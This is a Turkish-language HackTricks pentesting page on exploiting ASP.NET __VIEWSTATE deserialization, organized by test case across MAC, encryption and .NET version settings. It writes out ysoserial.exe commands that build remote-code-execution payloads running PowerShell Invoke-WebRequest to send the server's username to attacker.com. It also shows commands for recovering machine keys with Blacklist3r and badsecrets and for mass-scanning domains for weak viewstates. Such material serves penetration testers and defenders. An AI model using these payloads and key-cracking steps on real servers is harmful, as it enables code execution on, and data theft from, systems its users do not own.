hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

17 KiB
Raw Blame History

__VIEWSTATE Parametresini Bilmeden Sömürme

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

Ödül avı ipucu: Hackerlar tarafından oluşturulan premium bir ödül avı platformu olan Intigriti'ye katılın! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'e kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

ViewState Nedir

ViewState, ASP.NET'te sayfa ve kontrol verilerini web sayfaları arasında korumak için varsayılan mekanizma olarak hizmet verir. Bir sayfanın HTML olarak işlenmesi sırasında, sayfanın mevcut durumu ve postback sırasında korunması gereken değerler base64 kodlu dizilere serileştirilir. Bu diziler daha sonra gizli ViewState alanlarına yerleştirilir.

ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:

  • Base64:
  • Bu format, EnableViewStateMac ve ViewStateEncryptionMode öznitelikleri her ikisi de false olarak ayarlandığında kullanılır.
  • Base64 + MAC (Message Authentication Code) Etkin:
  • MAC'nin etkinleştirilmesi, EnableViewStateMac özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
  • Base64 + Şifreli:
  • Şifreleme, ViewStateEncryptionMode özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.

Test Durumları

Resim, .NET çerçeve sürümüne dayalı olarak ASP.NET'te ViewState için farklı yapılandırmaları detaylandıran bir tablodur. İşte içeriğin özeti:

  1. Herhangi bir .NET sürümü için, MAC ve Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla tanımlamak için geçerli bir yöntem bulunmamaktadır.
  2. 4.5 sürümlerinden önceki sürümler için, MAC etkinleştirilmiş olsa da Şifreleme etkinleştirilmemişse, bir MachineKey gereklidir. MachineKey'i tanımlamak için kullanılan yöntem "Blacklist3r" olarak adlandırılır.
  3. 4.5 sürümlerinden önceki sürümler için, MAC etkin olsun veya olmasın, Şifreleme etkinleştirildiğinde, bir MachineKey gereklidir. MachineKey'i tanımlamak için "Blacklist3r - Gelecek Gelişim" görevi vardır.
  4. 4.5 ve sonraki sürümler için, MAC ve Şifreleme kombinasyonlarının tümü (hem ikisi de doğruysa, hem de biri doğruysa diğeri yanlışsa) bir MachineKey gerektirir. MachineKey, "Blacklist3r" kullanılarak tanımlanabilir.

Test Durumu: 1 EnableViewStateMac=false ve viewStateEncryptionMode=false

Ayrıca, AspNetEnforceViewStateMac kayıt defteri anahtarını sıfır olarak ayarlayarak ViewStateMAC'i tamamen devre dışı bırakmak mümkündür:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState Özniteliklerini Tanımlama

ViewState'nin MAC ile korunup korunmadığını belirlemek için bu parametreyi içeren bir isteği BurpSuite ile yakalayabilirsiniz. Eğer MAC kullanılmıyorsa, YSoSerial.Net kullanarak bu parametreyi sömürebilirsiniz.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 ViewState parametresi gönderilmezse

Geliştiriciler, ViewState'in bir HTTP İsteğinin bir parçası olmasını kaldırabilir (kullanıcı bu çerezi alamaz).
Birisi, ViewState'in bulunmadığını varsayabilir ve uygulamalarının ViewState deserialization ile ilgili olası güvenlik açıklarından korunaklı olduğunu düşünebilir.
Ancak durum böyle değildir. Eğer istek gövdesine ViewState parametresi ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükümüzü gönderirsek, hala Case 1'de gösterildiği gibi kod yürütme başarabiliriz.

Test Case: 2 .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false

Belirli bir aspx dosyasında ViewState MAC'ini etkinleştirmek için aşağıdaki değişiklikleri yapmamız gerekmektedir:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ayrıca, aşağıda gösterildiği gibi web.config dosyasında ayarlayarak genel uygulama için de yapabiliriz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Parametre bu sefer MAC korumalı olduğundan saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtarı bulmamız gerekiyor.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) 'ı deneyebilirsiniz.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu yüzden Blacklist3r gibi Windows bağımlılığı yoktur. .NET viewstate'ler için, kullanımı en hızlı olan "python blacklist3r" yardımcı programı bulunmaktadır.

Görünüm durumu ve üreteci doğrudan sağlanabilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Veya doğrudan hedef URL'ye bağlanabilir ve viewstate'i HTML'den çıkarmayı deneyebilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Ölçeklenebilir bir şekilde zayıf viewstate'leri aramak için, alan adı tespiti ile birlikte badsecrets BBOT modülü kullanılabilir:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Eğer şanslıysanız ve anahtar bulunursa, YSoSerial.Net: saldırısına devam edebilirsiniz.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Durumlarında _VIEWSTATEGENERATOR parametresi sunucu tarafından gönderilmediğinde --generator parametresini sağlamanıza gerek yok, ancak bunları sağlamanız gerekiyor:

--apppath="/" --path="/hello.aspx"

Test Case: 3 .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true

Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değer muhtemelen şifrelenmiştir ve zafiyeti sömürmek için Payload'ınızı şifrelemek için Makine Anahtarına ihtiyacınız olacaktır.

Bu durumda Blacklist3r modülü geliştirme aşamasındadır...

.NET 4.5'ten önce, ASP.NET, ViewStateEncryptionMode'un Always olarak ayarlanmış olmasına rağmen, kullanıcılardan şifrelenmemiş bir ___VIEWSTATE_parametresini kabul edebilir. ASP.NET, sadece istekte __VIEWSTATEENCRYPTED parametresinin varlığını kontrol eder. Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işleme alınacaktır.

Bu nedenle, saldırganlar, Makine Anahtarını dosya gezintisi gibi başka bir zafiyet aracılığıyla elde ederlerse, YSoSerial.Net komutu, ViewState deserialization zafiyetini kullanarak RCE gerçekleştirmek için kullanılabilir.

  • ViewState deserialization zafiyetini sömürmek için istekten __VIEWSTATEENCRYPTED parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve zafiyet başarısız olacaktır.

Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false hariç her iki özelliğin de false olarak belirlendiği durumda

ASP.NET çerçevesinin kullanımını zorlayabiliriz, aşağıdaki gibi web.config dosyasının içine aşağıdaki parametreyi belirterek.

<httpRuntime targetFramework="4.5" />

Alternatif olarak, bunu web.config dosyasının machineKey parametresi içinde aşağıdaki seçeneği belirterek yapabilirsiniz.

compatibilityMode="Framework45"

Benzer şekilde, değer şifrelenmiştir. Dolayısıyla, geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.

Blacklist3r(AspDotNetWrapper.exe) aracını kullanarak kullanılan anahtarı bulmaya çalışabilirsiniz:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath ve TargetPagePath için daha detaylı bir açıklama için buraya bakın.

Veya, Badsecrets (bir üretici değeri ile):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Bir geçerli Makine anahtarı tanımlandığında, bir sonraki adım, YSoSerial.Net kullanarak seri hale getirilmiş bir yük oluşturmaktır.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Eğer __VIEWSTATEGENERATOR değerine sahipseniz, bu değerle --generator parametresini kullanmayı deneyebilir ve parametreleri --path ve --apppath atlayabilirsiniz.

ViewState deserialization açığı başarılı bir şekilde sömürüldüğünde, saldırgan tarafından kontrol edilen bir sunucuya bir dış-bant isteği yapılacaktır ve bu istekte kullanıcı adı bulunacaktır. Bu tür bir saldırı, "Blacklist3r ve YsoSerial.NET kullanarak ViewState Deserialization Sömürüsü" adlı bir kaynak aracılığıyla bulunan bir kavram kanıtı (PoC) ile gösterilmektedir. Sömürü sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçları nasıl kullanacağınız hakkında daha fazla ayrıntı için Başarılı Sömürü Kavram Kanıtı bağlantısına göz atabilirsiniz.

Test Durumu 6 ViewStateUserKeys kullanılıyor

ViewStateUserKey özelliği, bir CSRF saldırısına karşı korunma için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle ViewState yükünü oluşturmaya çalışırsak, uygulama tarafından yük işlenmeyecektir.
Doğru şekilde yük oluşturmak için bir parametre daha kullanmanız gerekmektedir:

--viewstateuserkey="randomstringdefinedintheserver"

Başarılı Sömürü Sonucu

Tüm test durumları için, ViewState YSoSerial.Net yükü başarılı bir şekilde çalışıyorsa sunucu “500 Internal server error” yanıtı ile yanıt verir ve yanıt içeriği “The state information is invalid for this page and might be corrupted” olur ve OOB isteği alırız.

Daha fazla bilgi için buraya bakın

Referanslar

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: